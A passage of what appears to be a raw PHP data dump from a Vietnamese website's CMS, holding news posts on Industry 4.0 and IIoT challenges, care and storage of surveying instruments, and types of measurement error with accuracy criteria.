700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-19', 'status' => '1', 'view' => '63417', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span 